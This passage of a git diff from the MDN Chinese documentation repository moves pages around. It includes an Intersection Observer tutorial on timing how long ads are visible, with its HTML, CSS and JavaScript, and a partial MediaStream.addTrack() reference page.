Will hold the {{HTMLElement("div")}} element which contains the time the ad has been visible so far.
+
+ +

A random ad is selected by computing Math.floor(Math.random() * ads.length); the result is a value between 0 and one less than the number of ads. The corresponding ad is now known as adBox.

+ +

If a value is specified for replaceBox, we use that as the ad element. To do so, we begin by ending observation of the element by calling {{domxref("IntersectionObserver.unobserve()")}}. Then the local variables for each of the elements that comprise an ad: the ad box itself, the title, the body, and the timer box, are all set to the corresponding elements in the existing ad.

+ +

If no value is specified for replaceBox, we create a new ad element. The ad's new {{HTMLElement("div")}} element is created and its properties established by setting its class name to "ad". Next, the ad title element is created, along with the body and the visibility timer; these are an {{HTMLElement("h2")}}, a {{HTMLElement("p")}}, and a {{HTMLElement("div")}} element, respectively. These elements are appended to the adBox element.

+ +

After that, the code paths converge once again. The ad's background color is set to the value specified in the new ad's record, and elements' classes and contents are set appropriately as well.

+ +

Next, it's time to set up the custom data properties to track the ad's visibility data by setting adBox.dataset.totalViewTime and adBox.dataset.lastViewStarted to 0.

+ +

Finally, we set the ID of the <div> which will show the timer we'll present in the ad to show how long it's been visible, giving it the class "timer". The initial text is set to "0:00", to represent the starting time of 0 minutes and 0 seconds, and it's appended to the ad.

+ +

If we're not replacing an existing ad, we need to append the element to the content area of the page using {{domxref("Node.appendChild", "Document.appendChild()")}}. If we're replacing an ad, it's already there, with its contents replaced with the new ad's. Then we call the {{domxref("IntersectionObserver.observe", "observe()")}} method on our Intersection Observer, adObserver, to start watching the ad for changes to its intersection with the viewport. From now on, any time the ad becomes 100% obscured or even a single pixel becomes visible, or the ad passes through 75% visible in one way or another, the {{anch("Handling intersection changes", "observer's callback")}} is executed.

+ +

Replacing an existing ad

+ +

Our {{anch("Handling intersection changes", "observer's callback")}} keeps an eye out for ads which become 100% obscured and have a total visible time of at least one minute. When that happens, the replaceAd() function is called with that ad's element as an input, so that the old ad can be replaced with a new one.

+ +
function replaceAd(adBox) {
+  let visibleTime;
+
+  updateAdTimer(adBox);
+
+  visibleTime = adBox.dataset.totalViewTime
+  console.log("  Replacing ad: " + adBox.querySelector("h2").innerText + " - visible for " + visibleTime)
+
+  loadRandomAd(adBox);
+}
+ +

replaceAd() begins by calling updateAdTimer() on the existing ad, to ensure that its timer is up-to-date. This ensures that when we read its totalViewTime, we see the exact final value for how long the ad was visible to the user. We then report that data; in this case, by logging it to console, but in the real world, you'd submit the information to an ad service's API or save it into a database.

+ +

Then we load a new ad by calling {{anch("Creating an ad", "loadRandomAd()")}}, specifying the ad to be replaced as an input parameter. As we saw previously, loadRandomAd() will replace an existing ad with content and data corresponding to a new ad, if you specify an existing ad's element as an input parameter.

+ +

The new ad's element object is returned to the caller in case it's needed.

+
+ +

Result

+ +

The resulting page looks like this. Try experimenting with scrolling around and watch how visibility changes affect the timers in each ad. Also note that each ad is replaced after one minute of visibility, and how the timers pause while the document is tabbed into the background.

+ +

{{EmbedLiveSample("fullpage_example", 750, 800)}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" "b/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" deleted file mode 100644 index 24446a0141..0000000000 --- "a/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" +++ /dev/null @@ -1,562 +0,0 @@ ---- -title: Timing element visibility with the Intersection Observer API -slug: Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 -translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility ---- -
{{APIRef("Intersection Observer API")}}
- -
交叉点观察者API使得当感兴趣的元素或多或少被共享祖先节点或元素遮蔽时,可以方便地异步通知,包括 {{domxref("Document")}}本身。
- -
 
- -

The Intersection Observer API makes it easy to be asynchronously notified when elements of interest become more or less obscured by a shared ancestor node or element, including the {{domxref("Document")}} itself. In this article, we'll build a mock blog which has a number of ads interspersed among the contents of the page, then use the Intersection Observer API to track how much time each ad is visible to the user. When an ad exceeds one minute of visible time, it will be replaced with a new one.

- -

Although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the API to quickly learn how to apply the Intersection Observer API to your own site.

- -

There's a good reason why the notion of tracking visibility of ads is being used in this example. It turns out that one of the most common uses of Flash or other script in advertising on the Web is to record how long each ad is visible, for the purpose of billing and payment of revenues. Without the Intersection Observer API, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. Using this API lets everything get streamlined by the browser to reduce the impact on performance substantially.

- -

Let's get started!

- -
-

Site structure: The HTML

- -

The site's structure is not too complicated. We'll be using CSS Grid to style and lay out the site, so we can be pretty straightforward here:

- -
<div class="wrapper">
-  <header>
-    <h1>A Fake Blog</h1>
-    <h2>Showing Intersection Observer in action!</h2>
-  </header>
-
-  <aside>
-    <nav>
-      <ul>
-        <li><a href="#link1">A link</a></li>
-        <li><a href="#link2">Another link</a></li>
-        <li><a href="#link3">One more link</a></li>
-      </ul>
-    </nav>
-  </aside>
-
-  <main>
-  </main>
-</div>
- -

This is the framework for the entire site. At the top is the site's header region, contained within a {{HTMLElement("header")}} block. Below that, we define the site's sidebar as a list of links within an {{HTMLElement("aside")}} block.

- -

Finally comes the main body. We start with an empty {{HTMLElement("main")}} element here. This box will be populated using script later.

- -

Styling the site with CSS

- -

With the structure of the site defined, we turn to the styling for the site. Let's look at the style for each component of the page individually.

- -

The basics

- -

We provide styles for the {{HTMLElement("body")}} and {{HTMLElement("main")}} elements to define the site's background as well as the grid the various parts of the site will be placed in.

- -
body {
-  font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
-  background-color: aliceblue;
-}
-
-.wrapper {
-  display: grid;
-  grid-template-columns: auto minmax(min-content, 1fr);
-  grid-template-rows: auto minmax(min-content, 1fr);
-  max-width: 700px;
-  margin: 0 auto;
-  background-color: aliceblue;
-}
- -

The site's {{HTMLElement("body")}} is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color. Then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body content (articles and ads).

- -

The wrapper establishes a CSS grid with two columns and two rows. The first column (sized automatically based on its content) is used for the sidebar and the second column (which will be used for body content) is sized to be at least the width of the contents of the column and at most all remaining available space.

- -

The first row will be used specially for the site header. The rows are sized the same way as the columns: the first one is automatically sized and the one uses the remaining space, but at least enough space to provide room for all elements within it.

- -

The wrapper's width is fixed at 700px so that it will fit in the available space when presented inline on MDN below.

- -

The header

- -

The header is fairly simple, since for this example all it contains is some text. Its style looks like this:

- -
header {
-  grid-column: 1 / -1;
-  grid-row: 1;
-  background-color: aliceblue;
-}
- -

{{cssxref("grid-row")}} is set to 1, since we want the header to be placed in the top row of the site's grid. More interesting is our use of {{cssxref("grid-column")}} here; here we specify that we want the column to start in the first column and ends in the first column past the last grid line—in other words, the header spans across all of the columns within the grid. Perfect for our needs.

- -

The sidebar

- -

Our sidebar is used to present links to other pages on the site. None of them work in our example here, but they exist to help with the presentation of a blog-like experience. The sidebar is represented using an {{HTMLElement("aside")}} element, and is styled as follows:

- -
aside {
-  grid-column: 1;
-  grid-row: 2;
-  background-color: cornsilk;
-  padding: 5px 10px;
-}
-
-aside ul {
-  padding-left: 0;
-}
-
-aside ul li {
-  list-style: none;
-}
-
-aside ul li a {
-  text-decoration: none;
-}
- -

The most important thing to note here is that the {{cssxref("grid-column")}} is set to 1, to place the sidebar on the left-hand side of the screen. If you change this to -1, it will appear on the right (although some other elements will need some adjustments made to their margins to get the spacing just right). The {{cssxref("grid-row")}} is set to 2, to place it alongside the site body.

- -

The content body

- -

Speaking of the site's body: the main content of the site is kept in a {{HTMLElement("main")}} element. The following style is applied to that:

- -
main {
-  grid-column: 2;
-  grid-row: 2;
-  margin: 0;
-  margin-left: 16px;
-  font-size: 16px;
-}
- -

The primary feature here is that the grid position is set to place the body content in column 2, row 2.

- -

Articles

- -

Each article is contained in an {{HTMLElement("article")}} element, styled like this:

- -
article {
-  background-color: white;
-  padding: 6px;
-}
-
-article:not(:last-child) {
-  margin-bottom: 8px;
-}
-
-article h2 {
-  margin-top: 0;
-}
- -

This creates article boxes with a white background which float atop the blue background, with a small margin around the article. Every article which isn't the last item in the container has an 8px bottom margin to space things apart.

- -

Ads

- -

Finally, the ads have the following initial styling. Individual ads may customize the style somewhat, as we'll see later.

- -
.ad {
-  height: 96px;
-  padding: 6px;
-  border-color: #555;
-  border-style: solid;
-  border-width: 1px;
-}
-
-.ad:not(:last-child) {
-  margin-bottom: 8px;
-}
-
-.ad h2 {
-  margin-top: 0;
-}
-
-.ad div {
-  position: relative;
-  float: right;
-  padding: 0 4px;
-  height: 20px;
-  width: 120px;
-  font-size: 14px;
-  bottom: 30px;
-  border: 1px solid black;
-  background-color: rgba(255, 255, 255, 0.5);
-}
- -

There's nothing magic in here. It's fairly basic CSS.

- -

Tying it together with JavaScript

- -

That brings us to the JavaScript code which makes everything work. Let's start with the global variables:

- -
let contentBox;
-
-let nextArticleID = 1;
-let visibleAds = new Set();
-let previouslyVisibleAds = null;
-
-let adObserver;
-let refreshIntervalID = 0;
- -

These are used as follows:

- -
-
contentBox
-
A reference to the {{HTMLElement("main")}} element's {{domxref("HTMLElement")}} object in the DOM. This is where we'll insert the articles and ads.
-
nextArticleID
-
Each article is given a unique ID number; this variable tracks the next ID to use, starting with 1.
-
visibleAds
-
A {{jsxref("Set")}} which we'll use to track the ads currently visible on the screen.
-
previouslyVisibleAds
-
Used to temporarily store the list of visible ads while the document is not visible (for example, if the user has tabbed to another page).
-
adObserver
-
Will hold our {{domxref("IntersectionObserver")}} used to track the intersection between the ads and the <main> element's bounds.
-
refreshIntervalID
-
Used to store the interval ID returned by {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. This interval will be used to trigger our periodic refreshes of the ads' content.
-
- -

Setting up

- -

To set things up, we run the startup() function below when the page loads:

- -
window.addEventListener("load", startup, false);
-
-function startup() {
-  contentBox = document.querySelector("main");
-
-  document.addEventListener("visibilitychange", handleVisibilityChange, false);
-
-  let observerOptions = {
-    root: null,
-    rootMargin: "0px",
-    threshold: [0.0, 0.75]
-  };
-
-  adObserver = new IntersectionObserver(intersectionCallback,
-                    observerOptions);
-
-  buildContents();
-  refreshIntervalID = window.setInterval(handleRefreshInterval, 1000);
-}
- -

First, a reference to the content wrapping {{HTMLElement("main")}} element is obtained, so we can insert our content into it. Then we set up an event listener for the {{event("visibilitychange")}} event. This event is sent when the document becomes hidden or visible, such as when the user switches tabs in their browser. The Intersection Observer API doesn't take this into account when detecting intersection, since intersection isn't affected by page visibility. Therefore, we need to pause our timers while the page is tabbed out; hence this event listener.

- -

Next we set up the options for the {{domxref("IntersectionObserver")}} which will monitor target elements (ads, in our case) for intersection changes relative to the document. The options are configured to watch for intersections with the document's viewport (by setting root to null). We have no margins to extend or contract the intersection root's rectangle; we want to match the boundaries of the document's viewport exactly for intersection purposes. And the threshold is set to an array containing the values 0.0 and 0.75; this will cause our callback to execute whenever a targeted element becomes completely obscured or first starts to become unobscured (intersection ratio 0.0) or passes through 75% visible in either direction (intersection ratio 0.75).

- -

The observer, adObserver, is created by calling IntersectionObserver's constructor, passing in the callback function, intersectionCallback, and our options.

- -

We then call a function buildContents(), which we'll define later to actually generate and insert into the document the articles and ads we want to present.

- -

Finally, we set up an interval which triggers once a second to handle any necessary refreshing. We need a one second refresh since we're displaying timers in all visible ads for the purposes of this example. You may not need an interval at all, or you might do it differently or using a different time interval.

- -

Handling document visibility changes

- -

Let's take a look at the handler for the {{event("visibilitychange")}} event. Our script receives this event when the document itself becomes visible or invisible. The most important scenario here is when the user switches tabs. Since Intersection Observer only cares about the intersection between the targeted elements and the intersection root, and not the tab's visibility (which is a different issue entirely), we need to use the Page Visibility API to detect these tab switches and disable our timers for the duration.

- -
function handleVisibilityChange() {
-  if (document.hidden) {
-    if (!previouslyVisibleAds) {
-      previouslyVisibleAds = visibleAds;
-      visibleAds = [];
-      previouslyVisibleAds.forEach(function(adBox) {
-        updateAdTimer(adBox);
-        adBox.dataset.lastViewStarted = 0;
-      });
-    }
-  } else {
-    previouslyVisibleAds.forEach(function(adBox) {
-      adBox.dataset.lastViewStarted = performance.now();
-    });
-    visibleAds = previouslyVisibleAds;
-    previouslyVisibleAds = null;
-  }
-}
- -

Since the event itself doesn't state whether the document has switched from visible to invisible or vice-versa, the {{domxref("document.hidden")}} property is checked to see if the document is not currently visible. Since it's theoretically possible to get called multiple times, we only proceed if we haven't already paused the timers and saved the visibility states of the existing ads.

- -

To pause the timers, all we need to do is remove the ads from the set of visible ads (visibleAds) and mark them as inactive. To do so, we begin by saving the set of visible ads into a variable known as previouslyVisibleAds to be sure we can restore them when the user tabs back into the document, and we then empty the visibleAds set so they won't be treated as visible. Then, for each of the ads that are being suspended, we call our updateAdTimer() function, which handles updating the ad's total visible time counter, then we set their dataset.lastViewStarted property to 0, which indicates that the tab's timer isn't running.

- -

If the document has just become visible, we reverse this process: first we go through previouslyVisibleAds and set each one's dataset.lastViewStarted to the current document's time (in milliseconds since the document was created) using the {{domxref("Performance.now", "performance.now()")}} method. Then we set visibleAds back to previouslyVisibleAds and set the latter to null. Now the ads are all restarted, and configured to know that they became visible at the current time, so that they will not add up the duration of time the page was tabbed away the next time they're updated.

- -

Handling intersection changes

- -

Once per pass through the browser's event loop, each {{domxref("IntersectionObserver")}} checks to see if any of its target elements have passed through any of the observer's intersection ratio thresholds. For each observer, a list of targets that have done so is compiled, and sent to the observer's callback as an array of {{domxref("IntersectionObserverEntry")}} objects. Our callback, intersectionCallback(), looks like this:

- -
function intersectionCallback(entries) {
-  entries.forEach(function(entry) {
-    let adBox = entry.target;
-
-    if (entry.isIntersecting) {
-      if (entry.intersectionRatio >= 0.75) {
-        adBox.dataset.lastViewStarted = entry.time;
-        visibleAds.add(adBox);
-      }
-    } else {
-      visibleAds.delete(adBox);
-      if ((entry.intersectionRatio === 0.0) && (adBox.dataset.totalViewTime >= 60000)) {
-        replaceAd(adBox);
-      }
-    }
-  });
-}
- -

As previously mentioned, the {{domxref("IntersectionObserver")}} callback receives as input an array of all of the observer's targeted elements which have become either more or less visible than one of the intersection observer ratios. We iterate over each of those entries—which are of type {{domxref("IntersectionObserverEntry")}}. If the target element is intersecting with the root, we know it has just transitioned from the obscured state to the visible state. If it's become at least 75% visible, then we consider the ad visible and we start the timer by setting the ad's dataset.lastViewStarted attribute to the transition time in {{domxref("IntersectionObserverEntry.time", "entry.time")}}, then add the ad to the set visibleAds so we know to process it as time goes by.

- -

If the ad has transitioned to the not-intersecting state, we remove the ad from the set of visible ads. Then we have one special behavior: we look to see if {{domxref("IntersectionObserverEntry.intersectionRatio", "entry.ratio")}} is 0.0; if it is, that means the element has become totally obscured. If that's the case, and the ad has been visible for at least a minute total, we call a function we'll create called replaceAd() to replace the existing ad with a new one. This way, the user sees a variety of ads over time, but the ads are only replaced while they can't be seen, resulting in a smooth experience.

- -

Handling periodic actions

- -

Our interval handler, handleRefreshInterval(), is called about once per second courtesy of the call to {{domxref("WindowOrGlobalScope.setInterval", "setInterval")}} made in the startup() function {{anch("Setting up", "described above")}}. Its main job is to update the timers every second and schedule a redraw to update the timers we'll be drawing within each ad.

- -
function handleRefreshInterval() {
-  let redrawList = [];
-
-  visibleAds.forEach(function(adBox) {
-    let previousTime = adBox.dataset.totalViewTime;
-    updateAdTimer(adBox);
-
-    if (previousTime != adBox.dataset.totalViewTime) {
-      redrawList.push(adBox);
-    }
-  });
-
-  if (redrawList.length) {
-    window.requestAnimationFrame(function(time) {
-      redrawList.forEach(function(adBox) {
-        drawAdTimer(adBox);
-      });
-    });
-  }
-}
- -

The array redrawList will be used to keep a list of all the ads which need to be redrawn during this refresh cycle, since it may not be exactly the same as the elapsed time due to system activity or because you've set the interval to something other than every 1000 milliseconds.

- -

Then, for each of the visible ads, we save the value of dataset.totalViewTime (the total number of milliseconds the ad has currently been visible, as of the last time it was updated) and then call updateAdTimer() to update the time. If it's changed, then we push the ad onto the redrawList so we know it needs to be updated during the next animation frame.

- -

Finally, if there's at least one element to redraw, we use {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} to schedule a function that will redraw each element in the redrawList during the next animation frame.

- -

Updating an ad's visibility timer

- -

Previously (see {{anch("Handling document visibility changes")}} and {{anch("Handling periodic actions")}}), we've seen that when we need to update an ad's "total visible time" counter, we call a function named updateAdTimer() to do so. This function takes as an input an ad's {{domxref("HTMLDivElement")}} object. Here it is:

- -
function updateAdTimer(adBox) {
-  let lastStarted = adBox.dataset.lastViewStarted;
-  let currentTime = performance.now();
-
-  if (lastStarted) {
-    let diff = currentTime - lastStarted;
-
-    adBox.dataset.totalViewTime = parseFloat(adBox.dataset.totalViewTime) + diff;
-  }
-
-  adBox.dataset.lastViewStarted = currentTime;
-}
- -

To track an element's visible time, we use two custom data attributes (see {{htmlattrxref("data-*")}}) on every ad:

- -
-
lastViewStarted
-
The time in milliseconds, relative to the time at which the document was created, at which the ad's visibility count was last updated, or the ad last became visible. 0 if the ad was not visible as of the last time it was checked.
-
totalViewTime
-
The total number of milliseconds the ad has been visible.
-
- -

These are accessed through each ad's {{domxref("HTMLElement.dataset")}} attribute, which provides a {{domxref("DOMStringMap")}} mapping each custom attribute's name to its value. The values are strings, but we can convert those to numbers easily enough—in fact, JavaScript generally does it automatically, although we'll have one instance where we have to do it ourselves.

- -

We start by fetching the time at which the ad's previous visibility status check time (adBox.dataset.lastViewStarted) into a local variable named lastStarted. We also get the current time-since-creation value using {{domxref("Performance.now", "performance.now()")}} into currentTime.

- -

If lastStarted is non-zero—meaning the timer is currently running, we compute the difference between the current time and the start time to determine the number of milliseconds the timer has been visible since the last time it became visible. This is added to the current value of the ad's totalViewTime to bring the total up to date. Note the use of {{jsxref("parseFloat()")}} here; because these values are strings, JavaScript tries to do a string concatenation instead of addition without it.

- -

Finally, the last-viewed time for the ad is updated to the current time. This is done whether the ad was running when this function was called or not; this causes the ad's timer to always be running when this function returns. This makes sense because this function is only called if the ad is visible, even if it's just now become visible.

- -

Drawing an ad's timer

- -

Inside each ad, for demonstration purposes, we draw the current value of its totalViewTime, converted into minutes and seconds. This is handled by passing the ad's element into the drawAdTimer() function:

- -
function drawAdTimer(adBox) {
-  let timerBox = adBox.querySelector(".timer");
-  let totalSeconds = adBox.dataset.totalViewTime / 1000;
-  let sec = Math.floor(totalSeconds % 60);
-  let min = Math.floor(totalSeconds / 60);
-
-  timerBox.innerText = min + ":" + sec.toString().padStart(2, "0");
-}
- -

This code finds the ad's timer using its ID, "timer", and computes the number of seconds elapsed by dividing the ad's totalViewTime by 1000. Then it calculates the number of minutes and seconds elapsed before setting the timer's {{domxref("Node.innerText", "innerText")}} to a string representing that time in the form m:ss. The {{jsxref("String.padStart()")}} method is used to ensure that the number of seconds is padded out to two digits if it's less than 10.

- -

Building the page contents

- -

The buildContents() function is called by the {{anch("Setting up", "startup code")}} to select and insert into the document the articles and ads to be presented:

- -
let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" +
-  " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" +
-  " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" +
-  " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" +
-  " eu. Donec nec imperdiet nibh, nec vehicula libero. Phasellus vel" +
-  " malesuada nulla. Aliquam sed magna aliquam, vestibulum nisi at," +
-  " cursus nunc.</p>";
-
-function buildContents() {
-  for (let i=0; i<5; i++) {
-    contentBox.appendChild(createArticle(loremIpsum));
-
-    if (!(i % 2)) {
-      loadRandomAd();
-    }
-  }
-}
-
- -

The variable loremIpsum contains the text we'll use for the body of all of our articles. Obviously in the real world, you'd have some code to pull articles from a database or the like, but this does the job for our purposes. Every article uses the same text; you could of course change that easily enough.

- -

buildContents() creates a page with five articles. Following every odd-numbered article, an ad is "loaded" and inserted into the page. Articles are inserted into the content box (that is, the {{HTMLElement("main")}} element that contains all the site content) after being created using a method called createArticle(), which we'll look at next.

- -

The ads are created using a function called loadRandomAd(), which both creates the ad and inserts it into the page. We'll see later that this same function can also replace an existing ad, but for now, we're simply appending ads to the existing content.

- -

Creating an article

- -

To create the {{HTMLElement("article")}} element for an article (as well as all of its contents), we use the createArticle() function, which takes as input a string which is the full text of the article to add to the page.

- -
function createArticle(contents) {
-  let articleElem = document.createElement("article");
-  articleElem.id = nextArticleID;
-
-  let titleElem = document.createElement("h2");
-  titleElem.id = nextArticleID;
-  titleElem.innerText = "Article " + nextArticleID + " title";
-  articleElem.appendChild(titleElem);
-
-  articleElem.innerHTML += contents;
-  nextArticleID +=1 ;
-
-  return articleElem;
-}
- -

First, the <article> element is created and its ID is set to the unique value nextArticleID (which starts at 1 and goes up for each article). Then we create and append an {{HTMLElement("h2")}} element for the article title and then we append the HTML from contents to that. Finally, nextArticleID is incremented (so that the next element gets a new unique ID) and we return the new <article> element to the caller.

- -

Creating an ad

- -

The loadRandomAd() function simulates loading an ad and adding it to the page. If you don't pass a value for replaceBox, a new element is created to contain the ad; the ad is then appended to the page. if you specify a replaceBox, that box is treated as an existing ad element; instead of creating a new one, the existing element is changed to contain the new ad's style, content, and other data. This avoids the risk of lengthy layout work being done when you update the ad, which could happen if you first delete the old element then insert a new one.

- -
function loadRandomAd(replaceBox) {
-  let ads = [
-    {
-      bgcolor: "#cec",
-      title: "Eat Green Beans",
-      body: "Make your mother proud—they're good for you!"
-    },
-    {
-      bgcolor: "aquamarine",
-      title: "MillionsOfFreeBooks.whatever",
-      body: "Read classic literature online free!"
-    },
-    {
-      bgcolor: "lightgrey",
-      title: "3.14 Shades of Gray: A novel",
-      body: "Love really does make the world go round..."
-    },
-    {
-      bgcolor: "#fee",
-      title: "Flexbox Florist",
-      body: "When life's layout gets complicated, send flowers."
-    }
-  ];
-  let adBox, title, body, timerElem;
-
-  let ad = ads[Math.floor(Math.random()*ads.length)];
-
-  if (replaceBox) {
-    adObserver.unobserve(replaceBox);
-    adBox = replaceBox;
-    title = replaceBox.querySelector(".title");
-    body = replaceBox.querySelector(".body");
-    timerElem = replaceBox.querySelector(".timer");
-  } else {
-    adBox = document.createElement("div");
-    adBox.className = "ad";
-    title = document.createElement("h2");
-    body = document.createElement("p");
-    timerElem = document.createElement("div");
-    adBox.appendChild(title);
-    adBox.appendChild(body);
-    adBox.appendChild(timerElem);
-  }
-
-  adBox.style.backgroundColor = ad.bgcolor;
-
-  title.className = "title";
-  body.className = "body";
-  title.innerText = ad.title;
-  body.innerHTML = ad.body;
-
-  adBox.dataset.totalViewTime = 0;
-  adBox.dataset.lastViewStarted = 0;
-
-  timerElem.className="timer";
-  timerElem.innerText = "0:00";
-
-  if (!replaceBox) {
-    contentBox.appendChild(adBox);
-  }
-
-  adObserver.observe(adBox);
-}
- -

First is the array ads. This array contains the data needed to create each ad. We have four here to choose from at random. In a real-world scenario, of course, the ads would come from a database or, more likely, an advertising service from which you fetch ads using an API. However, our needs are simple: each ad is represented by an object with three properties: a background color (bgcolor), a title (title), and a body text string (body).

- -

Then we define several variables:

- -
-
adBox
-
This will be set to the element that represents the ad. For new ads being appended to the page, this is created using {{domxref("Document.createElement()")}}. When replacing an existing ad, this is set to the specified ad element (replaceBox).
-
title
-
Will hold the {{HTMLElement("h2")}} element representing the ad's title.
-
body
-
Will hold the {{HTMLElement("p")}} representing the ad's body text.
-
timerElem
-
Will hold the {{HTMLElement("div")}} element which contains the time the ad has been visible so far.
-
- -

A random ad is selected by computing Math.floor(Math.random() * ads.length); the result is a value between 0 and one less than the number of ads. The corresponding ad is now known as adBox.

- -

If a value is specified for replaceBox, we use that as the ad element. To do so, we begin by ending observation of the element by calling {{domxref("IntersectionObserver.unobserve()")}}. Then the local variables for each of the elements that comprise an ad: the ad box itself, the title, the body, and the timer box, are all set to the corresponding elements in the existing ad.

- -

If no value is specified for replaceBox, we create a new ad element. The ad's new {{HTMLElement("div")}} element is created and its properties established by setting its class name to "ad". Next, the ad title element is created, along with the body and the visibility timer; these are an {{HTMLElement("h2")}}, a {{HTMLElement("p")}}, and a {{HTMLElement("div")}} element, respectively. These elements are appended to the adBox element.

- -

After that, the code paths converge once again. The ad's background color is set to the value specified in the new ad's record, and elements' classes and contents are set appropriately as well.

- -

Next, it's time to set up the custom data properties to track the ad's visibility data by setting adBox.dataset.totalViewTime and adBox.dataset.lastViewStarted to 0.

- -

Finally, we set the ID of the <div> which will show the timer we'll present in the ad to show how long it's been visible, giving it the class "timer". The initial text is set to "0:00", to represent the starting time of 0 minutes and 0 seconds, and it's appended to the ad.

- -

If we're not replacing an existing ad, we need to append the element to the content area of the page using {{domxref("Node.appendChild", "Document.appendChild()")}}. If we're replacing an ad, it's already there, with its contents replaced with the new ad's. Then we call the {{domxref("IntersectionObserver.observe", "observe()")}} method on our Intersection Observer, adObserver, to start watching the ad for changes to its intersection with the viewport. From now on, any time the ad becomes 100% obscured or even a single pixel becomes visible, or the ad passes through 75% visible in one way or another, the {{anch("Handling intersection changes", "observer's callback")}} is executed.

- -

Replacing an existing ad

- -

Our {{anch("Handling intersection changes", "observer's callback")}} keeps an eye out for ads which become 100% obscured and have a total visible time of at least one minute. When that happens, the replaceAd() function is called with that ad's element as an input, so that the old ad can be replaced with a new one.

- -
function replaceAd(adBox) {
-  let visibleTime;
-
-  updateAdTimer(adBox);
-
-  visibleTime = adBox.dataset.totalViewTime
-  console.log("  Replacing ad: " + adBox.querySelector("h2").innerText + " - visible for " + visibleTime)
-
-  loadRandomAd(adBox);
-}
- -

replaceAd() begins by calling updateAdTimer() on the existing ad, to ensure that its timer is up-to-date. This ensures that when we read its totalViewTime, we see the exact final value for how long the ad was visible to the user. We then report that data; in this case, by logging it to console, but in the real world, you'd submit the information to an ad service's API or save it into a database.

- -

Then we load a new ad by calling {{anch("Creating an ad", "loadRandomAd()")}}, specifying the ad to be replaced as an input parameter. As we saw previously, loadRandomAd() will replace an existing ad with content and data corresponding to a new ad, if you specify an existing ad's element as an input parameter.

- -

The new ad's element object is returned to the caller in case it's needed.

-
- -

Result

- -

The resulting page looks like this. Try experimenting with scrolling around and watch how visibility changes affect the timers in each ad. Also note that each ad is replaced after one minute of visibility, and how the timers pause while the document is tabbed into the background.

- -

{{EmbedLiveSample("fullpage_example", 750, 800)}}

- -

See also

- - diff --git a/files/zh-cn/web/api/mediastream.addtrack/index.html b/files/zh-cn/web/api/mediastream.addtrack/index.html deleted file mode 100644 index ffb8052af5..0000000000 --- a/files/zh-cn/web/api/mediastream.addtrack/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: MediaStream.addTrack() -slug: Web/API/MediaStream.addTrack -translation_of: Web/API/MediaStream/addTrack ---- -

{{APIRef("Media Capture and Streams")}}

- -

MediaStream.addTrack() 方法会给流添加一个新轨道。指定一个{{domxref("MediaStreamTrack")}}对象作为参数。

- -
-

如果指定的track已经存在于流的track set里的话,该方法不会产生作用。

-
- -

语法

- -
stream.addTrack(track);
-
- -

Parameters

- -
-
track
-
A {{domxref("MediaStreamTrack")}} to add to the stream.
-
- -

Example

- -

 

- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('Media Capture','#widl-MediaStream-addTrack-void-MediaStreamTrack-track','addTrack()') }}{{ Spec2('Media Capture') }}Initial specification.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
{{ CompatUnknown() }} - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(34) }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(34) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

See also

- - diff --git a/files/zh-cn/web/api/mediastream/addtrack/index.html b/files/zh-cn/web/api/mediastream/addtrack/index.html new file mode 100644 index 0000000000..ffb8052af5 --- /dev/null +++ b/files/zh-cn/web/api/mediastream/addtrack/index.html @@ -0,0 +1,122 @@ +--- +title: MediaStream.addTrack() +slug: Web/API/MediaStream.addTrack +translation_of: Web/API/MediaStream/addTrack +--- +

{{APIRef("Media Capture and Streams")}}

+ +

MediaStream.addTrack() 方法会给流添加一个新轨道。指定一个{{domxref("MediaStreamTrack")}}对象作为参数。

+ +
+

如果指定的track已经存在于流的track set里的话,该方法不会产生作用。

+
+ +

语法

+ +
stream.addTrack(track);
+
+ +

Parameters

+ +
+
track
+
A {{domxref("MediaStreamTrack")}} to add to the stream.
+
+ +

Example

+ +

 

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
